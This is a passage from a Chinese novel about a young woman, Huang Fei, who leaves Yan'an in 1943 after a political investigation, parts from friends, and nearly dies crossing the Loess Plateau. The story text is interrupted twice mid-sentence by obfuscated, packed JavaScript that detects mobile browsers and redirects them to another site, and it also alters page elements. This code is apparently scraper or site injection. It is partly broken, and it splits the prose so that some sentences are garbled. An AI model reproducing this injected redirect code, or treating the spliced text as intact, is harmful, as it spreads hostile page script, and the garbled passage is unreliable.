主要就是生活作风问题,未婚先孕,还打胎,这就违法了。 黄菲听了他这样几句话,一瞬间仿佛黑夜之中见到了光明,她抚着胸口重重地喘了几口气,鼓足勇气说道:“首长,我要回去。” “回哪里去?” “回家去。” “回到国民党统治的地方吗?桂林还属于国民政府管辖。” 黄菲摇了摇头,片刻之后又点了点头:“我要回家。” 段锐静静地看着她,过了一会儿说道:“延安的斗争很激烈,可是你以为国民党那边就很美好吗?” 黄菲昏乱的头脑忽然之间有片刻的清醒,残存不多的理智全都在这个时候迸发,她吐字清晰地说:“我知道那边是什么样子,但现在的革命,也不是我想要的。” 段锐暗暗叹了一口气:“年轻人,总是容易冲动,这世上没有完美的革命,一心期待完美,只能一事无成,过空虚的一生。” 这几句话似乎打动了黄菲,她搅动脑浆,仔细思考了一下,然后慢慢地说:“我不会放弃自己,但我要走自己的路。” 段锐又劝了她几句,见她仍然坚持,便说:“你先回去好好休息,认真想一想,过两天回答我。你要想清楚,出延安的路,也不是那么好走的。” 这个黄菲同志,此时的情绪显然正在冲动之中,而且人在极端疲倦的状态下,脾气也不会好,很容易发怒的,让她回去休养一下生息,冷静考虑,或者会有不同的想法。 然后对自己的警卫员说道:“小赵,你送她回去吧。” 看黄菲现在的样子,自己未必走得回去,路上最好有个人照应。 小赵答应了一声,引着黄菲出了窑洞,笑嘻嘻一路把她送了回去,边走还边说着话:“我说黄菲同志,你怎么这么死脑筋?人嘛,谁能不受一点委屈呢?首长已经答应了再调查,你应该很快就可以回去了,为什么还吵着要走?这么不依不饶的。你可该知道,就为了你的事,首长连熬了两个晚上,看你的档案卷宗呢。” 他的话从黄菲耳边飘过,就如同五月的风吹过一般,黄菲虽然听到了,却又仿佛没有听见,不太能够分辨词句之中的含义。 终于回到了自己的窑洞门前,看到那熟悉的门,黄菲的眼泪差一点掉了下来,离开不过半个月,就已经仿佛暌隔了十年,进了门,焦文俊不在,这个时候想来是在机关里,窑洞里面静悄悄的,眼角再一扫,房间里似乎有些空落落,不过黄菲此时也顾不得其她,一头就倒在了炕上,闭起眼睛,几乎是转瞬之间,就起了微微的鼾声。 20. 第二十章 离开的与留下的 第二十章 离开的与留下的 黄菲回到住处,不管不顾,昏天黑地一连睡了三天,这才弥补了一些回来,不再感觉随时要崩溃了,这中间焦文俊一直照应她,每天早晚给她打了饭回来,中午黄菲就不吃了,一直蒙头大睡。 到了五月二十二号,礼拜天,黄菲终于恢复了一些力气,这一天中午十一点,和焦文俊一起出去打午饭,焦文俊看着她的脸色,笑着说:“黄菲,你又活过来了啊,度过了这一劫,必有后福。” 黄菲笑了一笑:“我现在只希望,自己能够顺利走出这片黄土地。” 焦文俊一愣:“啊,你还是要走吗?已经放了你回来,过不久应该可以回机关了,就算不能回去,也会另外安排工作,你年轻,又聪明,好好干,不愁没有前途。” 黄菲道:“我已经决定了,如果组织上肯让我离开,我就走。” 焦文俊沉默片刻:“你可要想好,就算给你开路条,能走得出去么?” 黄菲摇摇头:“不管怎么样,我实在不能继续留在这里。” 焦文俊叹了一口气,没有再说什么。 五月二十三号,礼拜一,段锐又找黄菲去谈话,这一位中共高级官员扶了扶架在鼻梁上的眼镜,含笑对她说:“黄菲同志,考虑得怎么样了?青年人,血气盛,受不得委屈,一时气恼,就不顾后果,这样是不好的,凡事都要多想想,再决定,波折过去,就会是光明嘛。交际处你暂时不能回去,去青年部吧。” 小资产阶级的知识分子啊,就是有这样的毛病,身上既有傲气,又带了满满的娇气,半点不肯给人误会的,一点点委屈也不能承受,而且往往自视甚高,以为什么事没了他们不行,动不动就要甩手不干,冷眼旁观,一副等待看好戏的样子,很是任性,这样的人虽然有一定的文化水平,但缺乏坚定的意志,还需要在革命的洪炉里面好好锤炼。 黄菲默默地听他说完,抬起头来,道:“首长,我要离开延安。” 段锐略感愕然,微微皱眉:“你考虑清楚了吗?要付出的代价,你明白吗?” 这么几天时间,睡足了吧,也想清楚了吧,来延安颇费周折,离开延安就容易么?今后的道路难道就此一帆风顺? 黄菲道:“当初我一心要来延安,就知道自己要付出什么。” 抛弃了家庭,离开了亲人和朋友,告别了优裕的生活,奔向心目中的光明,生活条件的困苦早在意料之中,还要面对革命斗争中的种种危险,这些自己都想到的。 段锐定定地看了她片刻,终于说道:“真让人惋惜,历史会证明我们的正确。你既然决定了,我也不阻拦你,延安是一个自由的地方,来去都凭自愿,不会勉强什么人,你一定要走,我让保安处给你办一张护照,向往革命的青年人,来得堂堂正正,走也要光明磊落,不能偷偷摸摸。” 到了这个时候,黄菲一颗心开始融化,满怀真诚的感激,说了一声:“谢谢首长。” 紧跟着又追问一句:“我什么时候可以走?” 段锐本来情绪也有一点上来,正在体味这种感动,听到她后面这一句,立刻回到了现实,微微有一点苦笑:“今天就办,你想要什么时候走,就可以什么时候走,你的那些日记笔记,也都让他们还给你。” 得说作为一个成熟的革命工作者,段锐办事真是相当彻底,十分周密,不但想到了通行证,连当初隔离审查时没收的那些本子,也都提出要还给她,这可是让黄菲大喜过望,本来没想到可以拿回来的,那是三年的时间,自己的心血啊,于是她更加激动,真诚地连声道谢。 就是段锐的这几句话,让她感到在延安还是有温暖的,之前受审时候愤激的感想,一只飞蛾给灯焰吸引,一头栽了进去,结果却发现里面是一团漆黑,是太过绝望偏激。 段锐处理工作是相当有效率的,当天,特区政府保安处就给黄菲办理了离开延安的护照,第二天,她的那些日记本笔记簿也都还了回来。 这中间还有插曲,段锐批了条子,让人去保卫科取黄菲的东西,保卫科的人面对这份手令,犹犹豫豫:“真的要还给她吗?这都是很重要的证据,满是密码,现在还没能完全破译,假如她真的是国民党特务,或者干脆是日本人的间谍,那可怎么办?情报都要给她带过去了,首长对她这么宽大,可能给我们带来危险的。” 小赵于是噘着嘴,带回来保卫科的这几句话,段锐烦恼得拍了一下桌子:“简直神经过敏,疑神疑鬼,她一个年轻的女学生,能当什么特务?不是都已经找人来看了,就是日记和讲义?你再去,和他们说,就说我的话,让马上把东西拿过来,否则我找他们上级。” 小赵于是耷拉着眉毛,转身又出去了,听到背后自家首长还在发火:“真是岂有此理!保卫工作是像他们这么干的?一个个拿着鸡毛当令箭,唯恐天下不乱,是嫌投奔延安的人太多了还是怎么着?黄菲是第一个,但绝不是唯一的一个,等着看吧,再这么搞下去,就是推倒了骨牌,头一个倒下去,之后一连串都要倒的,后面还不知有多少人要走,离心离德啊。” 黄菲要离开的消息,简直如同干旱年景的野火,在延安迅速蔓延,很快便给许多人知道了。 于是她偶尔出门,便能听到议论: “这是既不嫁骑马的首长,也不嫁艺术家的首长,要去嫁满口袋银圆的官长了么?” “手上还戴金表金戒指。” 黄菲听了,只觉得脑子里嗡嗡响,这些人想到的是什么?以为自己是为了贪图生活的安逸,离开延安之后,竟然要作国民党高官的太太,自己在别人眼中,难道竟然堕落至此? 明明都是革命者,看到了女同志,满脑子却也不过是想的这种事,他们谈论革命时的高远情怀都跑去了哪里? 知识分子呢,是酸溜溜,都当他们自己是《三侠五义》里面的颜查散,只是延安的女同志却不是柳金蝉,往往当了那个目光短浅、背信弃义的岳父,嫌贫爱富,才子总是被辜负,而贪图富贵的女人,之后总是要后悔的,因为男子会高中状元,光彩荣耀。 至于英雄们呢,因为是延安的保卫者,所以便对女子有天然的权力,在这种时候,延安的妇女便不再是同志,而只是纯粹的女人,有时候便会听到:“没有我们土包子,你们想安安稳稳在延安吃小米?” 有一次又听到了这些话,黄菲不由得便想到詹妈妈讲过的故事,詹妈妈肚子里有许多故事,她不单爱讲《再生缘》,也爱说仙女报恩,一个凡间的男子,往往是个打柴的,或者是放牛的,救了一只鸟,或者是一条鱼,那鸟或鱼其实是仙女变的,意外受了伤,要么就是给人捉到了,得了活命之后,就变成了美女的样子,嫁给救命恩人作老婆,于是便仿佛由此克服了人间的一个困厄,甚至是全部困厄,再无烦恼,所以当时听故事的时候,人人都欢喜,詹妈妈欢喜,乳姐姐东妹欢喜,黄菲也欢喜。 然而此时,她却不知怎么忽然想到那些故事,陡然间便感到头皮发麻,于是便悠悠地唱起山歌来:“大兄愁,大兄背妹过门楼,过得门楼不见屋,轿子悠悠到桥头,桥头有只路头鸟,我家有个骂人兄,我兄骂娘不嫁妹,嫁得妹来一身轻。” 这样的冷箭,这一年多以来,自己是挨得不少了,哪想到如今明明已经要走了,却依然能听到这般的话,猜测这一个女子是要去当国民党的官太太,从此沉沦到那样一种腐朽堕落的人生之中去。 黄菲坐在窑洞的炕上,看着杯子里的半杯水,刚刚放在桌面上,此时依然在摇晃,不过是半杯水啊,也有这样的不平静,仿佛铜管中看海的表面,这就是杯水波澜。 黄菲要离开了,这一回倒不是好像当初住进医院的时候,那样冷冷落落,有人来看她,张朝旭从前方回来了,带给她一个日本的军用饭盒:“缴获得来的,分了我一个,你如今要走了,带着吧,烧水烧饭都便利。” 黄菲眼望着她,喉咙哽咽,说不出话,当初同来延安的,一路上她都如同大姐姐一般照应自己,本以为会是一辈子的同志,并肩为了新的中国和妇女的解放而贡献全力,然而承诺或许总是为了打破的,如今自己就要背弃了从前的理想,中途离去,辜负了当初共同的誓言,也辜负了朝旭姐,一想到这里,她就分外难过。 张朝旭离开不过一天时间,苗伯就来了,一进门,他便把一袋锅盔塞在黄菲的手里:“小黄啊,听说你要走了,这几个锅盔,你带着路上吃,另外千万带足了水,这一路许多地方都是没水的。” 然后他悄悄地对黄菲说:“这一阵整人是整得厉害啊,没谁能躲过去的,我们这些烧饭的,养猪的,也要检讨。我前几天刚刚检讨完,就说自己对革命还是不够努力,我反正是没什么,要我说什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344751|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就说什么,过去了也就罢了,谁也不容易和我为难,像是你们这样喝过墨水的,就不一样,面子上下不来,尤其又是姑娘家,给拉上去批斗,羞耻啊!虽然他们都说你不应该走,不过我是觉着,走了便也罢了吧,未必就一定怎样不好,你是识字的,就是到了外边,想来也能活得下去。” 黄菲呜呜地哭,拉着苗伯的手:“苗伯,我舍不得你!” 苗伯摇了摇头:“唉,天下没有不散的筵席,小黄啊,你路上小心,有狼呢。” 还有一个意想不到的来客,则是陈露云,在窑洞里见到她的面,真是很有些意外,陈露云最擅长趋吉避凶的,但凡感到要倒霉的事情,她都是躲得远远的,这一回自己要离开延安,很是落后的,几乎可说是反动了,在如此白热化的斗争形势之下,不是同路者,就是敌人,中间道路是不会获得承认的,所以这个时候肯来探望自己,可是要冒着很大的政治风险啊,没想到陈露云居然肯来,本来以她以往的性子,应该是避之唯恐不及的。 不过反正自己就要走了,对于这样一个小小的疑问,便也不很在意,黄菲放下正在折叠的衣服,请陈露云坐下喝水。 陈露云把一包东西放在炕桌上,端起水杯,喝了两口,先是说了几句套话:“黄菲,听说你要走了,我真的是很难过,我们再不能在一起了,这一路多有艰难,你一定要留心,好好照顾自己。” 说着连连用眼色瞄着窑洞另一角的焦文俊,焦文俊是个机灵的人,看她这个样子,笑一笑,便站起来推故走开了。 黄菲笑了笑:“谢谢你,露云,我会注意的,你也保重,现在比较敏感些。” 延安这一阵的日子,不容易过啊,连自己一个不谨慎都弄成这样,更何况陈露云,她那种小市民的狡狯习气,是时不时就要冒头出来的,给人家逮到了,可不是玩的。 果然,黄菲这一句话勾起了陈露云许多的情绪,或者她本就是为了倾吐心事而来,此时焦文俊已经出去了,窑洞里没有第三个人,她便拉住了老同学的手,压低了声音,一口气不停顿地说道:“黄菲,和你说,我这一阵过得可憋屈呢,想一想心里就难受。这不是今年年初,我有了爱人,嫁了个老干部么?起初还打算得挺好,想着找了这么个首长,日子多少能过得好一些,哪知道吃饭大家分开来也就罢了,本来也是知道的,哪知我不过是和他要一点津贴来用,不过五百块,他也不肯,居然和我说,要自立,既然女人已经和男人平等了,那么大家各自用各自的,不要想着问男人要钱,简直把我给怄得,我要平等,莫非就是这个平等法么?一天到晚防我哦,简直如同防贼一般,生怕我偷吃了他半块肉,其实我哪里吃得到呢?小鬼每天把饭送过来,简直就差守在那里看着他吃完,然后才把空碗端回去,有时候他在外面吃过了饭,回来不想吃了,小鬼直接就把饭菜端走了,都没人问我一句要不要吃。时常吃饭,他倒是好意提醒的,‘还不快去食堂?饭点要过了’,赶着我去大灶,都不说把他的饭分我一点……” 说到后来,陈露云简直声泪俱下,一把鼻涕一把泪。 黄菲只能解劝:“组织上有规定,要分灶,他就算问你,也是没用。” 陈露云的爱人,是个处长,可以享受中灶的,陈露云的级别,却只是大灶,津贴也少,此外还有小灶,当然更加不是黄菲陈露云这样的层级可以想往的了。 陈露云只觉得愈发委屈:“旁人也就罢了,我是他老婆,都不能和他同桌吃饭,夫妻之间还讲级别,吃不一样的饭,世上哪有这样的道理?” 黄菲只得又劝:“现在是给人封锁,困难时期,等将来新中国建成,就好了。” 陈露云冷笑一声:“只怕到那时又有那时候的说法。如今可惜是封锁了,出去不得,我不是你这么有胆量的人,不想冒那样的风险,否则我也走了,回去上海,总有一碗菜饭吃。” 两个人絮絮地说了好一阵的话,陈露云擤了好几把鼻涕,眼看夜已经很深了,这才告辞离去,临走的时候还叮嘱黄菲:“话说完了也就罢了,你不要同别人讲。” 黄菲:“……我明天就要走了。” 陈露云瞬间释然:“那就好。” 然后眼睛一眨,赶忙补了一句:“我是说,你到了外面,没准能吃好一点,瞧瞧你,瘦得哦。” 黄菲一笑:“借你吉言吧。” 21. 第二十一章 暗夜途中 第二十一章 暗夜途中 黄菲到了这个时候,再没有徘徊感伤,迅速做完最后的整理。 日记是一定要带走的,无论路上多难,也不能丢弃,这是宝贵的人生记录,幸好又回到了自己的手中,没有给保卫人员毁掉,否则事后回想,实在太过痛心,“生活的痕迹都不能让我留一点,环境对于我何残酷如斯”。 让她犹豫的是那几本讲义,虽然也都是速记,很节约了纸张,然而一年多的课程,依然是厚厚的几大本,装进包裹里,非常的沉重,短时间背负还可以,但自己要走出这一片黄土高原,几百公里,很是漫长的程途,背着这些东西,可想而知很快就要压得自己喘不过气来,到那时难免还是要丢弃的,白白耗费了之前的体力。 权衡再三,黄菲只能忍痛将那几本珍贵的讲义,留在了延安,她是将它们交给了焦文俊,然而黄菲也知道,最后肯定是会失去的,延安的生活也并不是很安定,日本飞机时不时会来轰炸,况且如今是战争年代,人就如同给风吹着的柳絮,不知什么时候就会飘散,从此长久地分离,在这样的时势之下,焦文俊自然难以一直携带这些沉重的东西,这一点焦文俊自然也是明白的,因此她接过黄菲的讲义,口里就只是散漫地应着。 第二日五月二十七号,礼拜五,黄菲早早地打点好了一切,要带走的物品打成了一个四四方方的包裹,好像一个行军背囊,虽然没有真正去过前线,不过黄菲也懂得打军队里的背包,有棱有角,整整齐齐。 到了这个时候,确定要走了的,背包静静地戳在一旁,黄菲站在土炕边,一条腿抬起来支在炕上,用一条长长的棉布,开始打绑腿,走远路,是需要打绑腿的,一方面减轻水肿,另一方面,走路也可以稍稍轻松些,打绑腿是有方法的,从脚踝开始向上一圈一圈缠绕,绕过一两圈之后,便将绑腿布翻面,以便一直平贴腿面,就这样一直到膝盖之下,不能太松也不能太紧,太松没有用处,太紧难以迈步。 缠好绑腿之后,她最后看了一眼炕里面墙上的毛主席像,画像上的主席在微微地笑着,依然是额头光辉,好像太阳,黄菲向那张印制的图像投去了深深的一瞥,转头便走出了窑洞。 这一天是工作的时间,当黄菲上午启程的时候,窑洞里静悄悄没有人,隔壁胡瑾也到机关里去了,所以便只是她独自离开,无人相送,不过前一天晚上,胡瑾是来了的,握手道别,想着那时彼此说过的话,此刻虽然是孤身上路,黄菲倒也不觉得怎样落寞,她拄着一根又粗又长的木棒,背着背包,腰间挂着饭盒和水袋,沿着延安城外的道路,就走了出去,一路上头也不曾回过一次,可谓来得干脆,走得决绝。 黄菲走在离开延安的路上,那一边胡瑾在机关里埋头算账,过了好一阵,她走出窑洞,看看头顶的日头,已经升得很高,很有点热了,这个时候,黄菲想来已经走出去好一段路。 望着那白亮的阳光,胡瑾微微地眯起眼睛,黄菲离开了,虽然许多人都在批评她,意志不够坚定,对革命的前途不够确信,像她这样放弃进步,退却回黑暗腐朽的生活,将来一定会后悔的,不过胡瑾却以为,其实未必这样糟糕。 到如今革命在自己眼中,已经与当初的面貌不太一样,就比如自己之前舍弃了本来的专业,来到这里当会计,旁人为自己遗憾,自己倒是不觉得太过可惜,因为在延安,自己喜欢的那些乐曲是不为人在意的,甚至可以说,是不能容于延安的,延安需要的是革命,是战斗,而不是空泛的艺术美感,即使是贝多芬,在这里也显得有点“靡靡之音”了,脱离形势,脱离群众,外国的东西是不受欢迎的,除非是苏联的文艺。 苏联的音乐,胡瑾也欣赏过的,并不是不好,只不过单单是这些,不能让自己感觉满足,自己还需要舒伯特、巴赫、李斯特,音乐的世界是这样的丰富,不是单纯的战斗乐曲可以填充的,然而自己的这些想法,胡瑾也知道是不能说出来的,会给人批评“资产阶级情调”。 所以假如要演奏,就只能演奏延安的音乐,也不是不好,只是终究感觉不能完全得以舒展,所以当初在职业与家庭之间,自己抉择得便没有那样艰难,要拉琴,在自家窑洞里也可以拉。 而黄菲是一向给人批“小资产阶级习气”的,以她的个性,离开延安也不一定就是怎样的失误。 黄土路上,黄菲这一天从清晨走到傍晚,大约走了几十公里,一路给保卫机关检查了十几次,好在她有护照,每次都顺利过关,不过岗哨的那种提防戒备的眼神,依然是让她感觉很不舒服,虽然手里拿着盖着印章的通行证,心中仍然忐忑,在延安的土地上,自己已经成了一个外人。 当天晚上,她落脚在一个小村庄,有几十户人口,这里也有妇女组织,妇救会,黄菲很是小心,特意找了妇救会长,借宿在她的家里。 妇救会长夏春荣今年刚刚十九岁,论年纪比黄菲还小一岁,给组织派来这里的,也是借住在老乡家,她的体格非常敦实,面色红润,一眼看去就知道有旺盛的精力,身体非常好,这是很为此时的黄菲所羡慕的。 夏春荣性格非常爽朗,为人很是热情,一见到黄菲手拿边区保安处的护照,立刻便认为她是给党派出去做工作的。 于是她拉着黄菲的手,便说开了:“黄同志,你可是辛苦了,我们在这里虽然苦,毕竟还是边区,还都是自己人,可是你要去那边,都是不知道什么人啊,朋友还是敌人,得时时警惕着,心里累啊!” 白区那可是相当危险,没有一定的水平,难以应付。 黄菲只能微微苦笑:“也没什么,为了黑暗中的一点光明,无论怎样艰难,也要勉力去做。” 夏春荣连连点头:“黄同志,你的觉悟真的很高,我要向你学习。” 黄菲连忙扯开话题,问道:“夏同志,你是哪里人?” 夏春荣笑道:“我是米脂人。” 黄菲道:“米脂是个好地方。” 早就听说米脂的驴板肠,只可惜一直没有机会尝一尝。 夏春荣拍着手哈哈地大声笑起来:“可不是么,我们米脂,出过李闯王的!” 李自成当年就是在这里,召集了饥饿的人们起来造反,推翻明王朝。 然后又说到自己的工作:“现在好很多了,起初真是有点难,开大会都不肯来的,我只好站在碾盘子上大声吆喝,路过的男人们都大瞪着眼睛,盯着我看呢,那些老婆子们也在远处指指点点。” 说着咯咯笑起来,拢了拢鬓边的头发:“要是老家的人看到我这个样子,才更要吃惊呢,我们米脂就有这么个讲究,要是谁家年轻的姑娘对着人说话,也不脸红,也不扭捏,声音还那么亮,半点不怕羞,肯定要给人戳脊梁骨呢,简直不像个姑娘家,难找婆家。可是我担负这个任务,要是羞羞答答,就没法开展工作,所以我索性把脸一抹,什么都不在乎,就那么三下五除二,直接干了起来,说起来也是怪,过了一阵,不但那些姑娘媳妇不说什么了,连老汉小伙子对着我,也都客气三分,好像是第一次看到我这样的女人。” 在这个略显偏僻冷落的小村庄,夏春荣想来也是难得遇到能够说得来的女同志,组织上很少派同志到这边来,所以这一次遇到了黄菲,就有说不完的话,两人躺在炕上,头并着头,就这么一直说到了半夜,夏春荣依然兴致不减,还凑在黄菲旁边不住口地说,黄菲则已经支持不住,几次勉强挑开眼皮,终究太过疲倦,最后在再顾不得耳边的说话声,干脆把眼睛一闭,就那么睡了过去。 第二天日头升得老高,黄菲起床之后,颇觉抱歉地对夏春荣说:“真对不起,我昨天晚上一下子就睡过去了。” 夏春荣哈哈地笑:“没什么的,说起来还是我不好,明知道你赶了一天的路,还硬要拉着你说话,难怪你支撑不住。已经给你烙了饼,还摊了一个鸡蛋,吃了再走吧。” 一听说有摊鸡蛋,黄菲心中瞬间有强烈的感动,鸡蛋在这种时候,实在是太宝贵了,尤其是还用了菜油来煎,油汪汪金灿灿,不必一定吃到嘴里,只是那么看着,心中就有无穷的喜悦与满足,简直贵重如同黄金。 她连连向夏春荣道谢,实在太不容易了,很真挚的感情,于是她吃过了烙饼摊鸡蛋,又往水囊里装满了水,便告别了夏春荣,重又走上了大路。 黄菲在黄土高原一连走了四天,第四天的晚上,因为地理不很熟悉,她错过了住宿的地方,晚间只能露宿荒野,她将背囊放在一棵干瘦的树下,找了一些干草枯枝,在口袋里取出火柴,点着了火,用石块垒起简易的炉灶,便把饭盒放在上面,开始烧水。 火苗旺盛地燃烧,黄菲坐在篝火不远处,背靠着树干,解开了绑腿,平伸了两条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回首三年前,一九四零年的六月,自己刚刚与同伴们一起来到延安,那个时候的自己,是多么的有劲头啊,心中满怀强烈的兴奋与激动,正是与谢冰莹一样的。 北伐仿佛是一阵久为人渴盼的狂风,将世间的灰霾都一扫而尽,从此世界不再暗沉,而是变得清爽,原本萎靡的精神,也陡然振作起来,这就是自己的心情,人间实在太过沉闷,让人感到窒息,简直透不过气来,这种时候最盼望的就是出现一场大激荡,大破坏,扫除掉原本的一切,出现一个全新的人间,那样的清澈干净,一尘不染,空气是前所未有的清新,天空是从没有过的明净,那才真正叫做痛快! 然而经过了三年的时间,这许多的纷乱,让自己终于疲倦了,也有一种渺茫失落的情感在心头,经历了那最终的一场大斗争,自己决定离开。 虽然离去的时候斩钉截铁,那时以为除此以外再没有别的选择,也没有其她出路,可是到了这个时候,黄菲心头却蓦地一阵茫然,再过三四天,自己就要走出边区的地界,进入国民政府的辖区,对于那样一个世界,自己本来是熟悉的,只是毕竟暌隔了三年,这三年自己是生活在激进的延安,而不是那个腐败堕落的世界,感觉已经很是生疏,仿佛两个国度,突然间告别了曾经的生活,回归到那样一个环境,自己会怎么样?会有什么样的遭遇呢? 而且,今后的时光,十年,二十年,会证明什么?能够证明自己当下的抉择是正确的吗?或者历史最终会展示给自己看,自己当初很是理直气壮的决定,其实是错误了的,到那时要怎样面对这样的结果呢?是不是真的如同首长们说的,小资产阶级知识分子终究是脆弱的,禁不起考验的,所以才总是在关键的时刻退缩,甚至走上岔路? 距离延安越远,头脑就越能够冷静下来,黄菲想得越来越多,她明白,身体上的痛苦,自己还可以承受,让人感到难以忍受的,是精神上的挫折,那种负疚感和失败感,是火辣辣钻心的痛楚。 各种想法在大脑中缠绕冲突,黄菲心烦意乱,在地上连连翻着身,忽然之间,远远地传来一声狼嚎,非常的凄凉,在夜幕之下缭绕不绝,黄菲的神经霎时绷紧了起来,一只手紧握住木棍,赶快起身往即将熄灭的篝火之中添了一些干草,让那火焰升腾明亮起来,希望它能够驱走暗夜鬼祟危险的眼睛。 22. 第二十二章 绝处逢生 第二十二章 绝处逢生 前面是山,后面是山,左边是山,右边是山,放眼望去,四面八方都是黄色的土坡山丘,然而这可不是“环滁皆山也”的美感,连绵不断的黄土丘陵,一眼望不到尽头,仿佛永远也走不出这一片干燥的高原。 这种感觉让人焦躁,而且其中蕴含着莫大的危险,黄菲在这沟壑纵横的地方,已经走了三天,四外渺无人烟,携带的水虽然极力节省,却也已经在今日午间喝完了,到现在是下午三四点钟的光景,六月里的阳光分外灼人,黄菲只觉得喉咙里一阵干渴,非常想喝一杯水,然而却到哪里去找? 她是不得已才走到这样的地方,当跨出了边区的界限,一个严峻的问题就来到眼前,自己要怎样穿过这一片中间地带,回去桂林?到处都是盘查的岗哨,检查行旅,简直插翅难飞。 在边区内部,因为有通行证,那是没有关系的,可是在边区与国统区之间的这片地方,延安的通行证能管用吗?倘若对方看到自己是从延安出来,是不是会不由分说,先把自己关押起来?那样的话,自己岂不是又要重复隔离审查时候的噩运?那又是何必呢? 所以黄菲便选择了放弃大道,转走小路,希望能够避开关卡,悄悄地进入国统区,只要在国统区里走过一段路,或许就不会再有人仔细盘查。 她想的是很好的,也确实有道理,只是真正做起来却太难了,高原上的小道错综复杂,沟壑左边一条,右边又是一条,这样拐又那样拐,站在山头仿佛看得清清楚楚,走到下面却全不是那么回事,黄菲本来是以为自己已经将道路记得明白,然而她沿着小道走下来,到了山谷里,不多时就绕晕了,周遭看去都是一样的黄土,一样的山,就这样在这黄沙漫天的地方走了三天,却好像根本没有走出多远,远处似乎还是自己那天下来的山头。 每当想到这一点,黄菲就一阵灰心丧气,还夹杂着种种懊恼,胸中有一股愤怒,却不知该向谁去发火,究竟是恼恨这样的自然环境,还是恼恨自己的无用? 而如今更倒霉的是,还断水了,倒转水壶,一滴水都不肯落下来,目前是还可以再支持一阵,然而倘若两三天内还找不到水,就很难说了。 之后的发展果然如同黄菲最糟糕的预料,她在荒原上又连续走了四天,都没有看到人,自然也找不到水,当地气候干旱,很难得下一场雨的,黄菲连用雨水解渴都成了奢望,走在黄土路上的时候,她每每望天,却都看不到一丝乌云,陕北的天气那可真是,万里晴空,碧蓝无云,一丝灰霾都没有的,倘若不是在这种处境之下,是会让人感觉到愉快的。 到了这个时候,黄菲只觉得嗓子眼里冒火,浑身上下简直干燥得,用手轻轻一碰,就能够迸出火星来,一个身躯都要点着了。 为了应付这样的困境,自己已经是昼伏夜出,白天太阳最火热的时候,找个阴凉的地方休息,傍晚才爬起来继续赶路,然而即使是这样,汗水也流得好像碾出来的米浆,连黄菲都感到有一点不可思议,自己连续几天没有喝水,只偶尔嚼一些青草,这都是哪里流出来的汗液?简直如同要把血都熬干了一般,黄菲感觉到,自己整个人都要给烤干。 这一天的深夜,黄菲拄着拐杖,又在高原上蹒跚走着,天上半圆的月亮照着道路,后面远远地跟了一只狼,那一只孤狼啊,瘦骨嶙峋,身上的毛皮一部分脱落了,好像斑秃,这里一块那里一块,黄菲不是很能分辨狼,不知那是不是一头老狼,牙齿已经松动了,奔跑也不再迅捷,所以不好再去狩猎那些矫健的羊鹿,只好跟踪自己这样一个看起来同样朝不保夕的生灵。 真的是狡黠的野兽,自己几次冲它挥舞木棒,表示威胁,都不为所动,仍然是那么笃定从容地缀着,“不离不弃”,显然是看穿了自己的底细,已经是外强中干,只等自己一头栽倒,它便可以跑过来,让肠胃享受这一餐久违的美味,延续它所剩不多的残余生命。 黄菲手拄着木棍,两条腿实在无力继续挪动,背包这时候已经不在了,然而却依然不能负担自身的重量,她喘息着,望着在远处逡巡的野狼,忽然间有一种同病相怜,狼啊狼,从某个角度来讲,我们两个有共同之处,生命都要到达尽头,最起码,也找不到可以继续维持下去的希望,莫非我的最后结局就是这样?倒在高原一个不知名的地方,成为给狼续命的养料? 她重重地喘着粗气,真想一屁股就坐倒在地上,然而望着那越来越靠近的两只绿幽幽的眼睛,黄菲强撑着僵麻的两腿,硬是不敢倒下去,只怕这一栽倒,就再也不能站起来。 就在这时,夜空中忽然飘过来一块巨大的乌云,遮没了月亮,然而月亮在那乌云之后,却透出诡异的红光,那红光穿透了云层,直照到黄菲身上,陡然之间,雷声轰鸣,电光在夜幕中闪烁,雷电之下,黄菲摇摇欲坠的身体笼罩在一团白光之中,闪动了几下,蓦地消失不见,几十米外的野狼吐出血红的舌头,目瞪口呆地望着这一幕。 黄菲不知道自己究竟睡过去多久,等到她再次醒来的时候,身体依然是绵软酸痛,口唇也仍然是干裂,只是恍惚之间仿佛听到不远处有潺潺的水声,本以为是自己的幻觉,大概是焦渴到了极点,神智已经不清楚了吧,竟然做起这样不切实的梦,陕北的高原,怎么会有这样的水呢?多少天一眼望去,都只是黄土,干燥的,极度缺水,仿佛沙漠。 然而她半闭着眼睛,仔细听了听,真的是水声,不是自己的错觉,黄菲的神经登时颤动,仿佛一个垂危的病人喝了一碗浓浓的参汤,原本虚弱至极的身体猛然又迸发出力气,那是最后的一点精力,希望能够以此挽救生命,她歪歪晃晃地爬起来,朦胧着眼睛四处搜寻,声音是从左前方发出来的,于是黄菲便踉踉跄跄赶了过去,果然,几百米外的岩石缝隙之中,流出一道细细的泉水,晶莹清澈。 黄菲狠狠地眨了几下眼睛,水,果然是水,有水了,自己可以活下来了! 霎时便仿佛有一条细细的鞭子,在她的头顶噼啪挥舞,那是生命之鞭,驱策着她求生,黄菲只觉得自己给鞭子抽打得尾椎骨都绷紧了,天灵盖冒出火花,她加快着步子,奋力扑向泉水,到了石缝边,用手捧着就大口大口喝了起来,连续喝了二三十口,稍稍缓解了干渴,这个时候她才发现,没有烧水,本来自己是不喝生水的。 她弯下脖颈,看了看挂在腰间的饭盒,别的东西都扔掉了,只有它还留着,黄菲脑中倏忽一个闪念,看来对于自己来说,精神终究抵不过物质,万不得已的情况下,自己可以抛弃日记,却还要保留饭盒,以备万一找到食物和饮水,可以用它来料理。 